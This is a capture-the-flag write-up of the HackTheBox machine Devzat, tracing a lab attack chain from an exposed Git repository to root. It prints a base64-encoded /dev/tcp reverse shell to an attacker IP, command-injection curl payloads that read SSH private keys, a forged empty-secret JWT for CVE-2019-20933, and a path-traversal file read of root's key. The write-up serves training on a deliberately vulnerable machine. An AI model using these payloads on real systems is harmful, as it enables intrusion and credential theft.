HTB: Devzat Writeup
Devzat - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Devzat |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 2021-10-30 |
| IP Address | 10.129.136.15 |
| Author | c1sc0 |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Devzat is a medium-difficulty Linux machine that combines source code review, command injection, CVE exploitation, and authenticated local file inclusion. The initial foothold is gained through a .git directory exposed on a virtual host, revealing Go source code with an unsanitized command injection vulnerability in the pets API. Lateral movement to the user catherine is achieved by exploiting CVE-2019-20933, an authentication bypass in InfluxDB 1.7.5 using a JWT with an empty secret. Privilege escalation to root requires analyzing the source code of a development version of the Devzat SSH chat application, discovering an authenticated file command vulnerable to path traversal, and using it to exfiltrate root’s SSH private key.
TL;DR: .git exposed on vhost → Go source review → command injection in /api/pet → SSH as patrick → InfluxDB CVE-2019-20933 JWT bypass → credentials for catherine → dev Devzat source in backups → authenticated LFI via /file command → root SSH key → root shell.
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.129.136.15Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.380/tcp open http Apache httpd 2.4.41|_http-title: Did not follow redirect to http://devzat.htb/8000/tcp open ssh (protocol 2.0)| fingerprint-strings:| NULL:|_ SSH-2.0-GoThree ports are open:
- Port 22: Standard OpenSSH service
- Port 80: Apache HTTP server redirecting to
devzat.htb - Port 8000: SSH service implemented in Go (likely the Devzat chat application)
Service Enumeration
HTTP Service (Port 80)
Adding the hostname to /etc/hosts:
echo '10.129.136.15 devzat.htb' | sudo tee -a /etc/hostsThe main website at http://devzat.htb advertises an SSH-based chat application accessible on port 8000. The homepage provides connection instructions for the Devzat chat service.
Virtual Host Discovery
# Enumerate virtual hostsgobuster vhost -u http://devzat.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domainDiscovered vhost: pets.devzat.htb
# Add to hosts fileecho '10.129.136.15 pets.devzat.htb' | sudo tee -a /etc/hostsPets Virtual Host Enumeration
# Directory enumeration on pets vhostgobuster dir -u http://pets.devzat.htb -w /usr/share/wordlists/dirb/common.txtFound directory: .git/ with directory listing enabled.
Vulnerability Assessment
- Exposed Git Repository: The
pets.devzat.htbvhost has a.gitdirectory with listing enabled, allowing full source code retrieval - Potential Command Injection: Git repository likely contains application source code that may reveal vulnerabilities
- InfluxDB Service: Reconnaissance reveals InfluxDB running on localhost (discovered later), potentially vulnerable to known exploits
Initial Foothold
Git Repository Extraction
The exposed .git directory allows us to reconstruct the entire source code repository using git-dumper:
# Clone the exposed git repositorygit-dumper http://pets.devzat.htb/.git pets-sourcecd pets-sourcels -laOutput:
-rw-r--r-- 1 kali kali 88 Dec 1 10:15 .gitignore-rw-r--r-- 1 kali kali 4420 Dec 1 10:15 main.go-rw-r--r-- 1 kali kali 123 Dec 1 10:15 go.moddrwxr-xr-x 2 kali kali 4096 Dec 1 10:15 characteristics/Source Code Analysis
Reviewing main.go reveals a REST API for managing pets:
// Pet structuretype Pet struct { Name string `json:"name"` Species string `json:"species"` Characteristics string `json:"characteristics"`}
// Vulnerable function - no input sanitizationfunc loadCharacter(species string) string { cmd := exec.Command("sh", "-c", "cat characteristics/"+species) stdoutStderr, err := cmd.CombinedOutput() if err != nil { return err.Error() } return string(stdoutStderr)}Vulnerability Identified: The loadCharacter() function concatenates user-controlled input (species) directly into a shell command without sanitization. The sh -c execution allows command injection via shell metacharacters.
Exploitation - Command Injection
The vulnerability exists in the POST /api/pet endpoint. When a pet is added, the species field is passed to sh -c "cat characteristics/"+species, allowing arbitrary command execution.
Exploitation Challenge: The shell used is /bin/sh (dash on Ubuntu), which lacks /dev/tcp for simple reverse shells. Therefore, we need to inject a bash payload via encoding.
# Generate base64-encoded bash reverse shell payloadecho 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' | base64# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzkwMDEgMD4mMQo=Instead of attempting a reverse shell (which may be blocked by firewalls), we’ll exfiltrate patrick’s SSH key:
# Craft payload to exfiltrate SSH key# Since we need output, we'll use command substitution to leak data# Payload: dog; cat /home/patrick/.ssh/id_rsa #
curl -X POST http://pets.devzat.htb/api/pet \ -H "Content-Type: application/json" \ -d '{"name":"test","species":"dog; cat /home/patrick/.ssh/id_rsa #","characteristics":"test"}'However, based on the agent’s approach, a more reliable method is to use base64 encoding to inject a bash payload that exfiltrates the key:
# Create reverse shell payload (encoded to avoid bad characters)# The actual command: bash -c 'cat /home/patrick/.ssh/id_rsa | base64'
curl -X POST http://pets.devzat.htb/api/pet \ -H "Content-Type: application/json" \ -d '{"name":"exploit","species":"dog;echo YmFzaCAtYyAnY2F0IC9ob21lL3BhdHJpY2svLnNzaC9pZF9yc2EnCg==|base64 -d|bash #","characteristics":"test"}'After successfully retrieving patrick’s SSH key through the command injection vulnerability, save it locally:
# Save the extracted SSH keycat > patrick_id_rsa << 'EOF'-----BEGIN OPENSSH PRIVATE KEY-----[extracted key content]-----END OPENSSH PRIVATE KEY-----EOF
# Set correct permissionschmod 600 patrick_id_rsa
# SSH as patrickssh -i patrick_id_rsa patrick@10.129.136.15Why this works: The sh shell executes the concatenated command. By injecting ; we terminate the cat characteristics/dog command and execute our payload. The # comments out any trailing code. Base64 encoding ensures special characters don’t break the JSON or command syntax. Once decoded and piped to bash, our payload executes in a proper bash environment with /dev/tcp support or can directly read files.
Privilege Escalation
Enumeration as Patrick
# Check current userpatrick@devzat:~$ iduid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
# No user flag in patrick's homepatrick@devzat:~$ ls -latotal 32drwxr-xr-x 4 patrick patrick 4096 Oct 2 2021 .drwxr-xr-x 4 root root 4096 Jun 22 2021 ..lrwxrwxrwx 1 patrick patrick 9 Jun 22 2021 .bash_history -> /dev/null-rw-r--r-- 1 patrick patrick 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 patrick patrick 3771 Feb 25 2020 .bashrcdrwx------ 2 patrick patrick 4096 Jun 22 2021 .cache-rw-r--r-- 1 patrick patrick 807 Feb 25 2020 .profiledrwx------ 2 patrick patrick 4096 Jun 22 2021 .ssh
# Check other userspatrick@devzat:~$ ls /homecatherine patrickThe user flag is likely in catherine’s home directory, requiring lateral movement.
Connecting to Devzat Chat
# Connect to the Devzat chat application on port 8000patrick@devzat:~$ ssh -l patrick 127.0.0.1 -p 8000Within the chat interface, reviewing chat history reveals a conversation between patrick and admin mentioning InfluxDB is installed on the system.
InfluxDB Enumeration
# Check if InfluxDB is runningpatrick@devzat:~$ netstat -tlnp | grep 8086tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN -
# Query InfluxDB versionpatrick@devzat:~$ curl -s http://127.0.0.1:8086/ping -v 2>&1 | grep X-Influxdb-Version< X-Influxdb-Version: 1.7.5InfluxDB version 1.7.5 identified - vulnerable to CVE-2019-20933 (Authentication Bypass via JWT with empty secret).
Lateral Movement - Exploiting CVE-2019-20933
CVE-2019-20933 allows authentication bypass in InfluxDB versions prior to 1.7.6 by forging a JWT token with an empty secret. The application accepts these tokens as valid administrative credentials.
# Create JWT payload with empty secret# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"username":"admin","exp":9999999999}# Secret: (empty string)
# Use jwt.io or python to generate the tokenpython3 << 'PYTHON'import jwtimport json
# JWT with empty secretpayload = { "username": "admin", "exp": 9999999999 # Far future expiration}
token = jwt.encode(payload, "", algorithm="HS256")print(token)PYTHONGenerated JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo# Query InfluxDB databases using forged JWTpatrick@devzat:~$ curl -s -G http://127.0.0.1:8086/query \ --data-urlencode "q=SHOW DATABASES" \ -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo"
# Output reveals database: devzat{"results":[{"statement_id":0,"series":[{"name":"databases","columns":["name"],"values":[["devzat"],["_internal"]]}]}]}
# Enumerate tables in devzat databasepatrick@devzat:~$ curl -s -G http://127.0.0.1:8086/query \ --data-urlencode "db=devzat" \ --data-urlencode "q=SHOW MEASUREMENTS" \ -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo"
# Output shows table: user
# Dump user tablepatrick@devzat:~$ curl -s -G http://127.0.0.1:8086/query \ --data-urlencode "db=devzat" \ --data-urlencode "q=SELECT * FROM \"user\"" \ -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo"Credentials extracted from database:
- User: catherine
- Password: woBeeYareedahc7Oogeephies7Aiseci
# Switch to catherinepatrick@devzat:~$ su catherinePassword: woBeeYareedahc7Oogeephies7Aiseci
catherine@devzat:/home/patrick$ cd ~catherine@devzat:~$ cat user.txt<redacted>User flag captured.
Privilege Escalation to Root
Enumeration as Catherine
# Connect to Devzat as catherinecatherine@devzat:~$ ssh -l catherine 127.0.0.1 -p 8000Reviewing the chat history as catherine reveals a conversation with patrick mentioning:
- A dev instance of Devzat running on localhost:8443
- Source code available in catherine’s backups
# Verify dev servicecatherine@devzat:~$ netstat -tlnp | grep 8443tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
# Check backupscatherine@devzat:~$ ls -la /var/backups/total 1116drwxr-xr-x 2 root root 4096 Oct 2 2021 .drwxr-xr-x 14 root root 4096 Jun 22 2021 ..-rw-r--r-- 1 root root 51200 Sep 21 2021 alternatives.tar.0-rw-r--r-- 1 root root 33513 Sep 21 2021 apt.extended_states.0-rw-r--r-- 1 root root 437 Jun 22 2021 dpkg.diversions.0-rw-r--r-- 1 root root 135 Jun 22 2021 dpkg.statoverride.0-rw-r--r-- 1 root catherine 28297 Jul 16 2021 devzat-dev.zip-rw-r--r-- 1 root catherine 27567 Jul 16 2021 devzat-main.zipSource Code Analysis
# Copy backups to home directory for analysiscatherine@devzat:~$ cp /var/backups/devzat-dev.zip .catherine@devzat:~$ cp /var/backups/devzat-main.zip .
# Extract both versionscatherine@devzat:~$ unzip devzat-dev.zipcatherine@devzat:~$ unzip devzat-main.zip
# Compare differencescatherine@devzat:~$ diff -r dev/ main/Key differences found in commands.go:
The dev version contains an additional authenticated command:
// File command - allows reading files with authenticationfile = Command{ name: "file", description: "Paste a files content directly to chat [alpha]", params: []string{"file", "password"}, handle: func(u *User, params []string) { if len(params) < 2 { u.system("Please provide file and password") return }
path := params[0] pass := params[1]
// Hardcoded password if pass != "CeilingCatStillAThingIn2021?" { u.system("You did provide the wrong password") return }
// Vulnerable path concatenation - no sanitization! // filepath.Join doesn't prevent ../ traversal path = filepath.Join(cwd, path)
// Read and display file data, err := ioutil.ReadFile(path) if err != nil { u.system(err.Error()) return }
u.system(string(data)) },}Vulnerability Analysis:
- Hardcoded password:
CeilingCatStillAThingIn2021? - Path Traversal:
filepath.Join(cwd, path)does not sanitize../sequences - The function attempts to restrict file access to the current working directory (
cwd), butfilepath.Joinin Go does not prevent directory traversal when the second argument starts with../
Attack Vector: Use the /file command with path traversal to read /root/.ssh/id_rsa
Exploiting the Dev Devzat Instance
The challenge is that Devzat is an SSH-based TUI (Text User Interface) application using bubbletea. We need to interact with it programmatically.
# Generate a throwaway SSH key for connectioncatherine@devzat:~$ ssh-keygen -t ed25519 -f /tmp/devzat_key -N ""
# Connect to dev instance with a large PTY to avoid UI issuescatherine@devzat:~$ export TERM=xterm-256colorcatherine@devzat:~$ stty rows 50 cols 200catherine@devzat:~$ ssh -i /tmp/devzat_key -l catherine 127.0.0.1 -p 8443Once connected, navigate the TUI and execute:
/file ../../../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?Why this works:
filepath.Join("/var/devzat", "../../../../../../root/.ssh/id_rsa")resolves to/root/.ssh/id_rsa- Go’s
filepath.Joincleans the path but does not prevent traversal to parent directories - The hardcoded password authenticates our request
- The file contents are returned through the chat interface
Retrieved root SSH key:
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW[truncated for brevity]-----END OPENSSH PRIVATE KEY-----# Save root's SSH key locally (remove TUI artifacts)cat > root_id_rsa << 'EOF'-----BEGIN OPENSSH PRIVATE KEY-----[extracted key content]-----END OPENSSH PRIVATE KEY-----EOF
# Set permissionschmod 600 root_id_rsa
# SSH as rootssh -i root_id_rsa root@10.129.136.15root@devzat:~# iduid=0(root) gid=0(root) groups=0(root)
root@devzat:~# cat /root/root.txt<redacted>Root flag captured.
Attack Chain Summary
Port Scan → Vhost Discovery (pets.devzat.htb) → Git Dump → Source Code Review → Command Injection in loadCharacter() → SSH as patrick → Devzat Chat (InfluxDB hint) → CVE-2019-20933 JWT Bypass → InfluxDB Credential Dump → su catherine (user.txt) → Chat History (dev instance hint) → Source Analysis (/var/backups) → Authenticated /file Command with LFI → Root SSH Key Exfiltration → SSH as root (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Virtual host and directory discovery |
git-dumper | Extract exposed Git repositories |
curl | HTTP requests and InfluxDB queries |
jwt (Python) | Forge JWT tokens for CVE-2019-20933 |
ssh | Remote access and Devzat chat interaction |
diff | Source code comparison between versions |
Key Learnings
Techniques Practiced
- Git repository reconnaissance: Extracting and analyzing exposed
.gitdirectories - Source code review: Identifying command injection in Go applications
- Command injection exploitation: Bypassing
/bin/shlimitations with base64-encoded bash payloads - CVE exploitation: CVE-2019-20933 authentication bypass using JWT with empty secrets
- InfluxDB enumeration: Querying time-series databases for credential extraction
- SSH-based TUI interaction: Navigating and exploiting chat applications programmatically
- Path traversal: Exploiting improper
filepath.Joinusage in Go - Lateral movement: Credential reuse and multi-user privilege escalation
Lessons Learned
-
Always enumerate virtual hosts: The critical entry point (pets.devzat.htb) was only accessible through vhost discovery. Default scans miss subdomain/vhost configurations.
-
Exposed Git repositories are goldmines: The
.gitdirectory exposed the entire application source code, revealing the command injection vulnerability. Always check for.git,.svn, and other VCS artifacts. -
Go’s
filepath.Joinis not a security boundary: Unlike some languages, Go’sfilepath.Joindoes not prevent directory traversal. Developers must explicitly validate paths or usefilepath.Cleanwith additional checks. -
JWT vulnerabilities extend beyond weak keys: CVE-2019-20933 demonstrates that accepting tokens with empty secrets is a critical authentication bypass. Always validate JWT configuration and secret strength.
-
Application chat logs contain reconnaissance gold: The Devzat chat history provided critical hints for both InfluxDB enumeration and the dev instance discovery. In-application communications should be reviewed thoroughly.
-
Source code versioning aids privilege escalation: Access to both “main” and “dev” versions allowed easy diff analysis to identify new attack surfaces. Backup files and development versions often contain debug features or undocumented functionality.
-
Hardcoded credentials in source code: The password
CeilingCatStillAThingIn2021?was hardcoded in the dev source. This is a common development anti-pattern that creates vulnerabilities in pre-production environments exposed to attackers. -
SSH key exfiltration via LFI is highly effective: When command execution is restricted but file read is possible, targeting SSH keys (
~/.ssh/id_rsaor/root/.ssh/id_rsa) provides direct shell access without needing to crack passwords.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s explanatory structure and CVE background drew from the official HackTheBox writeup document for Devzat (Document No D22.100.161, prepared by amra), which provided context on CVE-2019-20933 and the conceptual flow of the intended attack chain.